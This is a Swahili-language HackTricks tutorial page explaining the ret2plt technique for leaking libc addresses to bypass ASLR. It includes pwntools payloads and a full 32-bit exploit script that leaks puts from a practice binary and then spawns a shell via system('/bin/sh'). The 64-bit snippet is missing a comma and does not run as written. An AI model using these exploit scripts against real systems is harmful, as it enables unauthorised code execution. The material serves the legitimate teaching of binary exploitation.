Ret2plt

Support HackTricks

Taarifa Msingi

Lengo la mbinu hii ni kuvuja anwani kutoka kwa kazi kutoka kwa PLT ili kuweza kukiuka ASLR. Hii ni kwa sababu ikiwa, kwa mfano, unavuja anwani ya kazi puts kutoka kwa libc, basi unaweza kukadiria wapi ni msingi wa libc na kuhesabu offsets kufikia kazi nyingine kama vile system.

Hii inaweza kufanywa na mzigo wa pwntools kama (kutoka hapa):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Tambua jinsi puts (ikitumia anwani kutoka kwa PLT) inavyoitwa na anwani ya puts iliyopo kwenye GOT (Global Offset Table). Hii ni kwa sababu wakati puts inachapisha kuingia kwa GOT ya puts, kuingia hicho kitakuwa na anwani sahihi ya puts kwenye kumbukumbu.

Pia tambua jinsi anwani ya main inavyotumiwa katika shambulizi ili wakati puts inamaliza utekelezaji wake, binary inaita main tena badala ya kutoka (hivyo anwani iliyovuja itaendelea kuwa halali).

Tambua jinsi ili hili lifanye kazi binary haiwezi kuwa imeunganishwa na PIE au lazima uwe umepata uvujaji wa kuepuka PIE ili kujua anwani ya PLT, GOT na main. Vinginevyo, unahitaji kuepuka PIE kwanza.

Unaweza kupata mfano kamili wa kuepuka hii hapa. Hii ilikuwa shambulizi la mwisho kutoka kwenye mfano huo:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Mifano Mingine & Marejeo

Last updated